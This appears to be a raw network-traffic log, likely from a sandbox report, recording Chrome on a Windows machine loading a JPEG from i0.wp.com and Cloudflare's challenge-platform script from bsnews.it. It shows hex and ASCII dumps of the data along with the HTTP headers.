2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f0 b1 d1 20 e1 f1 30 ff da 00 08 01 01 00 01 3f 21 87 d1 87 17 78 b9 65 94 0e 6d c6 f0 6b de 5e 8d fb 88 37 1d 09 77 6c c3 b9 91 43 4a 67 d8 46 9a f7 d8 4e 0e 59 58 fe e6 df 10 4f 9f 9b d0 da 12 e1 77 f1 19 df c0 c2 01 b8 7f 29 d8 49 98 16 75 85 f6 3f dc ad f2 2c 2b d3 51 e9 ee 39 79 c4 0f 97 c4 24 b2 42 10 e5 83 98 9e c0 8c a5 6c e6 96 a1 9a a6 78 38 94 01 dc b8 40 3a 3a 07 a7 a8 d1 a1 c6 37 fe ff 00 98 b0 57 d8 d4 6e 11 ba 98 f6 98 de 20 d0 45 83 1b f2 c4 1a c0 d7 21 f8 99 44 03 c5 bd 79 9d cf 4a e5 f1 4c fa 2e 3c 6c 96 dc 2c ca c2 a7 73 01 59 95 2a d0 09 71 c5 9b 7e ac 78 d5 db 67 e2 62 43 cd 70 ad d3 ef 6f c7 5e 9a 82 01 da 54 f2 c4 73 16 1c f7 2e 46 99 3e 60 dc e8 1c bc 9f cc d8 ed be e9 6c 55 65 46 69 67 52 97 07 8a 22 36 4c cb b2 ba 6e 50 23 86 37 Data Ascii: 0?!xemk^7wlCJgFNYXOw)Iu?,+Q9y$Blx8@::7Wn E!DyJL.<l,sY*q~xgbCpo^Ts.F>`lUeFigR"6LnP#7
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: bd c2 4f 0d ab 4f 4c 0c 6c a6 ac 9a f0 d4 a8 ed cb 44 ae 87 83 b2 2f 28 eb 14 1c 2b c9 6e 49 72 81 cc 6b 49 9c 73 98 91 0a a9 c2 44 c6 14 a9 6f 9d 47 14 64 0a 59 ef b4 3e 19 55 b1 2c bb ba 49 95 67 8d 35 ad b7 95 d4 c0 e1 dc f3 c8 75 01 e3 99 8c 14 73 71 78 42 fd d2 c7 63 07 3d 5f dc f5 f3 1d ed bb 0c 08 1f b4 6d 67 62 06 61 7e 60 78 28 8b 7a 7c 12 ec c3 a1 73 ab bc d4 5e d8 f8 67 f2 f7 31 04 0d 06 58 52 1b 4e 4d bf 5e 23 85 df 5c cc a3 54 b9 89 89 be 84 1d db 89 ae a4 59 55 f4 e2 19 a9 da 61 94 10 76 9c f9 45 02 a5 97 98 44 b8 25 18 2b d8 8b 6f e8 40 0d af 0f cc ea e1 ae f5 8b fe 60 49 1b 05 f9 1e 3e 63 36 97 8e 0b e7 f0 42 02 36 83 a0 b7 70 4e 74 ad 49 49 ed d3 16 8b 8b e9 f4 2f 99 8b 73 f2 af 1e d3 0c ca b4 4d 14 fe 63 78 76 ba 07 75 cf f3 01 36 5b 13 Data Ascii: OOLlD/(+nIrkIsDoGdY>U,Ig5usqxBc=_mgba~`x(z\|s^g1XRNM^#\TYUavED%+o@`I>c6B6pNtII/sMcxvu6[
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 5e 5c 4a 78 7e 93 65 b1 c3 d7 a2 84 c3 9b e6 1b 85 56 03 a9 59 3e b2 34 70 91 a9 03 dc 23 65 9d 13 f4 07 dd 84 6f c2 96 cd f6 42 c0 00 d0 e9 f1 e2 26 90 34 70 7c cc 82 66 f4 78 83 9c 1c 0e a3 92 e0 bf 3f f8 7f ff da 00 0c 03 01 00 02 00 03 00 00 00 10 52 38 92 9f cb 33 f4 cb 70 92 50 c7 46 d4 7e ce a6 b0 84 9f 54 2d 02 e1 47 41 27 b3 5b 4c c0 c5 e5 61 a0 2f 4b 6c 4f 8d 1a e2 7c 74 12 fc bc c4 e2 1d b4 36 23 0e d3 9e b7 7f 01 14 d7 31 b3 b4 c8 4b 5c af e7 d3 7a 87 d2 48 71 bc 53 d9 37 73 41 6d 05 ad b5 83 39 30 84 4d 0e 20 78 27 d0 ff 00 a4 fa 14 8d a8 00 68 53 c8 ab 79 77 62 60 0f 1b 1d 74 62 3b da c1 93 fb dc a3 96 35 7a 30 e9 2e 46 7a 1f c7 c2 30 4f ab b8 c6 6e ee 44 35 6a d9 41 37 e1 30 e7 8f 92 6f 75 f6 e8 fc 04 cf ff c4 00 25 11 01 00 02 02 01 03 04 Data Ascii: ^\Jx~eVY>4p#eoB&4p\|fx?R83pPF~T-GA'[La/KlO\|t6#1K\zHqS7sAm90M x'hSywb`tb;5z0.Fz0OnD5jA70ou%
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 12 5d bf 7e 4e e8 63 a7 6d 96 4a 4e 9c 6a 0b 6c 0b 13 ed a2 9e 29 a7 1b 30 68 dd 47 a1 bd 15 29 a6 86 cb cc ad b0 d0 c5 cf 4d 7e 7f e8 40 0d 93 d0 4e 6f ac fb c4 5a d6 65 44 38 39 ff 00 66 25 17 9a 17 c1 59 84 43 00 80 59 a6 f4 a1 b5 70 45 09 22 d9 81 42 ac d0 0c a7 14 56 55 15 64 f9 98 77 1c 25 6b 97 a3 96 53 2c 09 51 e7 dc 45 b5 3d e2 05 53 84 a2 44 a5 aa aa 2e 92 fb ed 82 c8 dc b4 2e a1 da ca f9 da 25 fb bb 7d bd ca 01 30 fa fd 23 ae 7c 47 40 4e da dc d9 c8 f5 fc 81 38 88 58 7c 35 f0 fa c1 88 d3 33 24 ad d7 12 81 41 55 aa 8a da 40 0b 57 41 dc 21 41 d3 7a 73 af dc 26 55 94 76 cb 2a e8 86 99 1b 6b aa fb 23 0b 9b 65 29 6d 53 f4 08 a5 36 15 7d 7f 51 de 39 56 e5 8a 0e f0 80 a3 74 7d fe b0 23 64 c2 9a 8c 86 0b 41 83 d7 ad ca f3 f5 1d a1 c2 b9 c9 c1 8c 18 8c Data Ascii: ]~NcmJNjl)0hG)M~@NoZeD89f%YCYpE"BVUdw%kS,QE=SD..%}0#\|G@N8X\|53$AU@WA!Azs&Uv*k#e)mS6}Q9Vt}#dA
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 34 01 ed 83 ad 77 4c b5 bb ba 03 33 c9 93 2c 78 a6 cd 1e 48 9e 01 29 cf a3 ff 00 93 39 49 31 8c df 47 2b ae df 52 af 2a ab 0e 7f 1f 79 73 5a 9b 07 8f ec c6 92 97 e6 5d c6 05 dc fb 97 f2 24 6c b6 54 2e ff 00 c8 b2 8f ac 00 c0 44 cc 5f de 01 c5 7f 98 ed 10 a5 85 06 97 fb 01 50 0e 08 91 55 7d 45 be 75 1d 97 29 7f 11 98 19 c0 f3 6c fe 63 51 91 1f 79 ff 00 b3 66 95 2c e1 c6 ad b8 99 0e 81 8f 64 33 05 43 42 db 5e a3 16 0a db 1c 95 af 87 32 bb 3f 00 e4 ff 00 7c c5 c5 5e 55 4f 68 ce 3a 6e 24 a0 b8 1f 89 8e 62 06 0d bb 6f b9 51 c8 2e ae ee 34 72 2a 2e 4d 43 01 2b c0 b5 a3 b8 f8 05 63 45 f9 ee 34 61 6e a8 03 d4 b6 7c e4 16 e6 e0 9c 87 f7 10 82 f4 30 53 48 e1 50 fc 98 88 18 05 d1 07 79 65 7a 07 40 ae 62 e1 8d 82 cb 59 d4 05 c1 24 16 05 20 b2 c8 b2 a1 b3 63 e0 f8 3d Data Ascii: 4wL3,xH)9I1G+RysZ]$lT.D_PU}Eu)lcQyf,d3CB^2?\|^UOh:n$boQ.4r.MC+cE4an\|0SHPyez@bY$ c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49886	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	424	OUT	GET /bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	606	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 13000 Connection: close Last-Modified: Wed, 27 Mar 2024 16:59:58 GMT Expires: Sat, 28 Mar 2026 04:59:58 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "b3bbff9a140f71ec" X-Bytes-Saved: 583 Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	763	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 04 00 01 03 05 06 02 07 ff c4 00 19 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c3 77 6e dc 7b 86 5a 5d Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"wn{Z]
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 4a ce 2d 5b 7c c7 b0 19 f3 90 f4 35 12 e3 90 d5 d6 41 74 d4 fc 8e 6e d5 e1 5d 70 95 13 9e 0c f3 3c 73 4d ae b4 aa c9 04 73 88 9d e6 f4 42 70 56 8c df f1 98 eb 33 42 7e 36 f6 d0 66 c8 da 33 68 e0 73 88 7f 21 38 4f 30 31 33 43 18 5a 0d 90 d4 13 06 20 d5 17 c8 ce 4e d0 b1 33 8e d4 47 30 39 2a 8d 57 6f c2 ae 98 6e 03 18 2e 6a c1 57 25 13 b8 97 7d 49 64 05 8f 39 67 35 57 5c d6 77 19 99 22 a8 7b 5a ae ab 06 1e 5e 79 4c fc d4 ae 12 53 24 ad e6 ad 15 47 35 72 d4 dc db 73 15 5b 16 1c 80 a8 de 44 54 57 23 a2 76 85 5b 23 70 8e 99 90 e9 95 3a 64 3a 64 75 dd b8 1c af 45 03 34 c1 8e 04 79 96 83 d6 c5 ba 70 d0 be ec dd 0e b5 64 8d e4 23 5d c6 24 ce 24 90 c9 38 92 61 d3 21 d2 61 d2 43 3a 61 d2 61 3b 21 d2 61 d3 21 d3 20 f6 e5 b9 e8 55 34 1b ca 49 5a 93 38 92 42 49 87 4c Data Ascii: J-[\|5Atn]p<sMsBpV3B~6f3hs!8O013CZ N3G09*Won.jW%}Id9g5W\w"{Z^yLS$G5rs[DTW#v[#p:d:duE4ypd#]$$8a!aC:aa;!a! U4IZ8BIL
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 4c db b9 05 67 b5 33 84 52 b9 37 4f aa 4b ed 1c 4b 47 65 24 9e 77 51 57 9a 19 82 e4 84 e3 7e 65 2d 99 22 0c bb 4b f4 a4 67 61 96 36 2e 28 2e 11 38 5d 9b 57 b9 2b b4 44 51 07 7d 36 9d 59 a7 ae d1 60 4e be e5 da 83 9b 43 33 89 14 d0 a9 24 92 48 e2 39 23 8f ad 2e 43 60 7e a4 a8 c1 cc 9a 15 59 ce 05 dd cc a3 8f fa 92 cb 67 16 8e 4b 2f d1 10 70 7f 94 ff 00 d7 8c 62 8c 54 94 a1 32 2e 3e 41 68 be 6f db 09 44 f4 01 c8 e9 46 c8 7f 49 78 2c 65 e5 f9 8e 8e e8 63 32 4d 04 ae 8a 23 7e 36 0a 92 f4 9a ad 97 4d 52 ce 7b 2b 2b b1 b4 bd ba ca 7e 3e d2 6e 36 c2 f6 e9 94 10 9c 0f 2c 90 98 f6 e0 9a bc 2b b7 ae ba 15 91 45 55 6b 4d 7f 64 98 a9 67 a9 49 75 28 26 b9 50 18 ae 55 22 b1 3d 62 1a b3 c5 18 77 95 97 79 59 97 7b 5d 77 f0 ab 76 da 77 af 7b a5 1b f2 29 ed c6 e8 2f 96 bd Data Ascii: Lg3R7OKKGe$wQW~e-"Kga6.(.8]W+DQ}6Y`NC3$H9#.C`~YgK/pbT2.>AhoDFIx,ec2M#~6MR{++~>n6,+EUkMdgIu(&PU"=bwyY{]wvw{)/
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 41 bb e5 68 36 b8 aa a2 f1 2f 8d da 23 51 ae 6c 70 46 5d 1a a6 0e d3 b4 21 c7 7a a7 ea 81 65 b9 36 e9 ae f5 74 ac 18 59 6c 8f 05 85 2c 32 14 3b 65 ca 4f d9 55 7b 6a c0 26 e8 b5 5c 5e 5d 8c 4f 51 20 4f 34 0b 00 93 bd 6d b0 ca 8b 31 6e 85 63 a3 b3 e5 5e c1 9e 41 09 14 db f4 40 6c 49 d3 2b 40 8b de dc 0e 08 f6 44 98 d5 0c 95 aa cb 41 5b 54 19 e4 86 c5 bf ba 85 b5 6a 08 f1 95 68 a8 1c 0f 82 70 e9 2e a7 53 38 23 1f a2 97 f4 72 e6 ce 61 03 46 8d 4a 71 97 48 2b 14 cb 88 de 53 47 66 c2 21 6d d0 70 3f 95 ca fd b8 1a dc 14 d2 ae d1 cf 08 02 fa 6e 67 e2 6b 82 2e 68 3c c2 65 f9 04 a9 61 fb 17 f2 43 a8 8b 5c a2 13 af de b6 4f ba b5 5b 13 7b 8d a1 3c 32 9b 6a 39 b8 73 ea 13 92 a8 0b 4f 74 48 1a 6f 5a 14 e0 c8 17 71 2a af 69 06 e8 ee ad 3e 89 dd 98 71 76 34 09 c2 ac cc Data Ascii: Ah6/#QlpF]!ze6tYl,2;eOU{j&\^]OQ O4m1nc^A@lI+@DA[Tjhp.S8#raFJqH+SGf!mp?ngk.h<eaC\O[{<2j9sOtHoZq*i>qv4
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: a2 99 b4 f8 2b ba 33 c5 43 19 6e f5 01 de 62 13 b7 07 1e 0b 5d 4f ea 86 4e 8a 4a 70 86 c8 29 f8 19 da d1 53 6c 7f cb ce 13 64 11 22 d3 b3 a2 6e cb b3 b2 76 3e a9 9e a9 df 84 ec 7d 55 46 39 84 3e 78 21 ea 9d 9c 1d 95 9a 6e ce 4f 35 ec dd c7 51 aa ee 3a 34 ef 0d 17 75 d3 fb e1 68 7e 75 a7 fd eb 36 fc eb 2e a5 f3 95 9a b4 2d df b6 a1 cf 61 e1 b4 b3 d2 7a 37 ce b3 d2 ba 3f 9a fb dd 05 f7 ba 5f 2a fb e3 3e 45 9e 96 3f 86 be f5 fe 5a cd 77 7c 8b da d4 f9 42 ef d7 f2 0b 64 f4 87 78 18 85 2e 6d 5f f0 c2 f5 4c ab 3f 98 a8 aa da 8e 3e 05 7b 1a bf 3a fb bb ff 00 8a be ea ef e2 95 8e 8b fe 61 41 c2 90 65 40 70 f0 72 a1 f4 85 57 7e 27 12 be ef 48 79 ac f4 7a 7f 55 86 02 86 cb 56 1a c4 d7 32 c9 7b 67 2b 5a 6b be cf 25 ed 46 bf 85 3e a9 7f ac bb 58 56 f6 ce 5e de a2 cd Data Ascii: +3Cnb]ONJp)Sld"nv>}UF9>x!nO5Q:4uh~u6.-az7?_*>E?Zw\|Bdx.m_L?>{:aAe@prW~'HyzUV2{g+Zk%F>XV^
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: d1 be f3 48 be 7f 84 b5 77 e5 2c cc d3 67 48 9d a9 de 6c 83 58 dd cc ed a9 65 ac f6 96 6e fe 73 2f e4 cc 69 02 e0 c1 be f1 1d 36 15 aa 7c c7 1e d3 01 4c a2 56 7b 91 f2 00 a4 c1 ef 98 f5 aa b7 57 d9 20 1a f8 00 25 e7 da a6 b1 50 33 83 29 c0 1e fd e7 a1 12 4a 3a c7 4e b1 a2 27 bd 3f 30 90 8d 0f 37 53 42 73 d4 bc d7 02 3a 54 12 f6 69 e6 26 72 59 4a e9 46 7d ae 29 56 c2 a0 ad 46 8e de 25 6d 80 64 70 63 33 04 30 54 bb be be 23 75 9e b5 96 3e 8d 02 bc 9d 41 9c 18 c5 14 45 18 c4 d9 b8 21 3c 90 71 2f 36 15 bd d9 7b 81 c1 5a bd 4b 4a 85 96 d3 72 97 37 d6 5d 95 59 d3 a4 11 f5 85 8a d3 1a 48 a1 a1 25 ac b2 c4 34 41 d6 96 13 82 f1 90 cf bc b8 e7 ee a8 9c 18 be 3f c4 d2 2d 8f 6c 61 a5 e8 16 94 37 35 fb de 65 89 31 c2 db 57 32 95 6c 92 a3 b5 06 36 5e 26 3e 54 6f ac f7 Data Ascii: Hw,gHlXens/i6\|LV{W %P3)J:N'?07SBs:Ti&rYJF})VF%mdpc30T#u>AE!<q/6{ZKJr7]YH%4A?-la75e1W2l6^&>To
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: d2 05 60 97 c1 3c 40 17 29 aa 8a d6 08 ba 87 b4 0d 40 2d cb 3e d3 40 4e 04 ae 65 c0 b1 72 31 3b d1 73 2d 61 83 55 ee 86 1d 65 cb 80 63 78 80 37 7f 22 0d f4 0a 4b d2 bd 03 2b 85 7f 6e 2e 25 d8 f6 7d 67 fa 88 f5 5f 03 b1 19 5b a2 78 7e 1b 07 7d 3b a9 6e ac bf 85 f7 97 2e 5f 68 9d c4 7a 09 b7 4a e9 1f 6e fe df 98 29 db b1 21 7c 7c d5 29 0a 81 df 31 c9 16 f7 12 a8 ac fd 3a c5 34 1d 5d cc 03 b9 43 92 59 e6 73 8f 79 97 09 5e 62 78 a8 fe aa 30 7a 8f bc ee 32 e9 79 69 6f 57 fe 26 32 45 67 88 3c 7e 00 ab 15 2d 49 43 69 55 96 16 59 4c d7 33 78 1e 44 79 13 a4 dc 6d ef bf fb 6f 41 c0 7a 45 a0 46 8a 9c 95 1d 08 bc 4e 4a 2a ff 00 e7 40 a4 ae 8b dc 8f d2 0c 44 d9 ff 00 55 e9 48 e1 a8 d8 e6 5b af ff 00 41 77 3a 33 a8 5e 29 93 0e df f5 7a ef fe e9 a3 2a e8 7b ce fe e8 cd Data Ascii: `<@)@->@Ner1;s-aUecx7"K+n.%}g_[x~};n._hzJn)!\|\|)1:4]CYsy^bx0z2yioW&2Eg<~-ICiUYL3xDymoAzEFNJ@DUH[Aw:3^)z{
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 3f be a2 80 ab 6d 65 a7 12 92 81 a4 5a de 1f c4 2b 4a e7 7c f0 40 40 e1 9a 9a 68 0d dc 30 21 05 1a a7 bc cb 99 41 54 d6 fd 7f 70 c0 b7 61 f0 bd 7d e0 1c f8 2a d4 6c 05 4b 6b bf 55 b8 b8 35 6c 18 f7 36 7d e0 ea 00 46 c6 0c 5d 59 43 20 cb fa 31 63 86 a1 78 20 61 17 24 55 d2 d8 c8 e8 36 76 70 c1 8a 0b 01 4b 8c ed 6b 72 8f 30 d8 0e 68 28 20 20 ab c3 7f 78 a8 82 6c 0b 4f 77 f5 1a 93 f6 ad af 3a 8b 6d a9 6b ee ce 9d df 33 21 02 0a a3 05 55 95 b4 85 53 eb 3c 4e ec c4 69 ae 2f 53 13 93 08 67 82 08 68 08 1d cf 22 4c 69 44 44 9c fb 91 9e a8 72 b6 f8 51 c6 a5 84 7b ad be 41 25 69 58 dd 60 56 af d2 52 82 3c 82 e2 3c 28 b2 e9 ac 7e 21 d5 10 45 2e f2 8b 70 32 e8 e9 85 cc 4c 36 6e bc 45 dc 2c 54 14 53 b0 38 ee 54 c7 95 0a c8 5b 47 97 88 25 ab ae 29 85 51 32 61 36 48 36 Data Ascii: ?meZ+J\|@@h0!ATpa}*lKkU5l6}F]YC 1cx a$U6vpKkr0h( xlOw:mk3!US<Ni/Sgh"LiDDrQ{A%iX`VR<<(~!E.p2L6nE,TS8T[G%)Q2a6H6
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f4 6e 5a 75 65 ab 5c 34 73 28 26 a2 c0 f9 d9 f6 9a a5 80 00 1a 08 c8 1c dd 04 de ac f3 47 df b8 a3 35 38 0b 2c b1 71 fe 31 11 5c b7 bf f5 06 b2 1f 4a 86 8b 76 26 94 9b d4 03 43 d0 c2 39 4a f2 bf 96 07 90 00 28 e2 d3 49 8d 73 08 16 30 34 d8 ec 9e 88 89 64 b0 6f 6d 3f 31 41 18 2a c4 a1 8a d8 a3 ed 2e a9 85 86 f7 63 18 1f 7f 31 89 29 62 d2 17 96 b7 5e 62 79 c5 69 22 ae 46 ec 48 a0 26 25 56 2f 0c aa 1e b7 35 d5 88 6c ad 53 54 f9 84 e1 23 69 2f 96 16 81 b8 21 ec 3a 8f 6f 0e c7 d4 46 65 d0 28 5b d7 9f b4 69 62 70 f0 30 d7 fa 06 f0 80 96 ca 5d 21 b8 ba 0a cc 5d 5d 67 7b 89 15 7d b1 7b ab 80 e9 dc e9 85 e4 f3 8f 79 40 37 4b 43 8f ee 01 05 c8 b9 73 10 bb b2 c5 5c 29 42 18 bb bd 4d bd d9 e7 ef 0e 88 9a ee 28 b6 26 1f 3c 40 b8 d8 b6 fc 90 65 0a 5f 64 5c 21 5d 07 7f Data Ascii: nZue\4s(&G58,q1\Jv&C9J(Is04dom?1A*.c1)b^byi"FH&%V/5lST#i/!:oFe([ibp0]!]]g{}{y@7KCs\)BM(&<@e_d\!]
2024-03-28 08:51:09 UTC	1285	IN	Data Raw: 79 f6 0a 2e f7 ed af 58 e6 d8 c9 32 fc 69 f4 f8 87 f4 1b 5d cb 4b 4d 38 6e dd 4a ba 5e f6 32 04 c8 e6 ef 1d b5 50 19 14 05 08 06 33 61 77 fe ba 34 df 40 ad a7 d8 7f b7 17 49 a4 c4 63 2f ac 74 09 65 72 9c e7 8c 5c 01 72 e9 33 23 48 51 ac 8f b4 33 57 34 3a bb ba 63 8c 21 b5 8a 81 a9 0a 3b 69 3d e3 77 5a b5 36 00 1e ad c8 df 86 21 e8 1d 9b 29 76 ff 00 be ae 85 36 16 5d 2e dc a0 72 29 77 4a 3e c6 61 4f 03 d4 c8 87 95 1b f7 83 06 4c 1a c0 33 a6 cb 8f 47 84 c4 b0 cb 3a a3 13 8c ea 6c 37 43 7b bd 4b b9 91 a8 b1 4c ae 4c ff 00 52 cb b0 19 d5 4e 78 72 f1 f3 70 0b 29 70 51 85 29 60 f9 73 a2 a1 d0 09 ad 03 06 b0 72 e7 c7 9d c0 28 96 45 57 b2 eb fd b9 6c 28 2f a4 a9 b3 ef cc cf b4 d5 6a d0 b4 33 06 94 0b 05 dd fe 9e 9e 73 04 86 95 79 5b 37 fa 7a 79 cc c2 ac cb 52 f7 Data Ascii: y.X2i]KM8nJ^2P3aw4@Ic/ter\r3#HQ3W4:c!;i=wZ6!)v6].r)wJ>aOL3G:l7C{KLLRNxrp)pQ)`sr(EWl(/j3sy[7zyR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49887	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	666	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/dc6b543c1346/main.js HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
2024-03-28 08:51:09 UTC	651	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-content-type-options: nosniff cache-control: max-age=14400, public vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97m26aG0svg%2FEtjIGVWOgl%2FL76h%2FJukNEAAbSKw4u0c7NtiUqeFR8WGtFYI%2B3btY5R9ikeRAMEUYLCnN1l9Ktvc2nd04BjZz5b6i989EZFPb%2Bys9coRaEfYGhoA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66072dbcf5b04-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:09 UTC	718	IN	Data Raw: 31 65 61 66 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 6d 2c 6e 2c 6f 2c 79 2c 7a 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 2d 70 61 72 73 65 49 6e 74 28 55 28 31 38 36 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 32 33 33 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 31 38 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 32 33 32 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 55 28 31 37 37 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 55 28 31 33 35 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 55 28 32 32 36 29 29 2f Data Ascii: 1eafwindow._cf_chl_opt={cFPWv:'g'};~function(V,g,h,m,n,o,y,z){V=b,function(c,e,U,f,C){for(U=b,f=c();!![];)try{if(C=-parseInt(U(186))/1(parseInt(U(233))/2)+-parseInt(U(181))/3(-parseInt(U(232))/4)+parseInt(U(177))/5+parseInt(U(135))/6+parseInt(U(226))/
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 32 32 30 29 5d 3b 51 2b 3d 31 29 69 66 28 52 3d 44 5b 61 32 28 32 30 37 29 5d 28 51 29 2c 4f 62 6a 65 63 74 5b 61 32 28 32 32 35 29 5d 5b 61 32 28 31 35 38 29 5d 5b 61 32 28 31 37 32 29 5d 28 48 2c 52 29 7c 7c 28 48 5b 52 5d 3d 4c 2b 2b 2c 49 5b 52 5d 3d 21 30 29 2c 53 3d 4a 2b 52 2c 4f 62 6a 65 63 74 5b 61 32 28 32 32 35 29 5d 5b 61 32 28 31 35 38 29 5d 5b 61 32 28 31 37 32 29 5d 28 48 2c 53 29 29 4a 3d 53 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 32 28 32 32 35 29 5d 5b 61 32 28 31 35 38 29 5d 5b 61 32 28 31 37 32 29 5d 28 49 2c 4a 29 29 7b 69 66 28 32 35 36 3e 4a 5b 61 32 28 31 38 38 29 5d 28 30 29 29 7b 66 6f 72 28 47 3d 30 3b 47 3c 4d 3b 4f 3c 3c 3d 31 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 32 28 31 39 33 29 5d 28 46 28 4f 29 29 2c Data Ascii: 220)];Q+=1)if(R=D[a2(207)](Q),Object[a2(225)][a2(158)][a2(172)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(225)][a2(158)][a2(172)](H,S))J=S;else{if(Object[a2(225)][a2(158)][a2(172)](I,J)){if(256>J[a2(188)](0)){for(G=0;G<M;O<<=1,E-1==P?(P=0,N[a2(193)](F(O)),
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 7b 4e 5b 61 32 28 31 39 33 29 5d 28 46 28 4f 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 50 2b 2b 3b 72 65 74 75 72 6e 20 4e 5b 61 32 28 32 31 33 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 61 33 29 7b 72 65 74 75 72 6e 20 61 33 3d 61 30 2c 44 3d 3d 6e 75 6c 6c 3f 27 27 3a 27 27 3d 3d 44 3f 6e 75 6c 6c 3a 66 2e 69 28 44 5b 61 33 28 32 32 30 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 61 34 29 7b 72 65 74 75 72 6e 20 61 34 3d 61 33 2c 44 5b 61 34 28 31 38 38 29 5d 28 45 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 61 35 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 54 2c 53 29 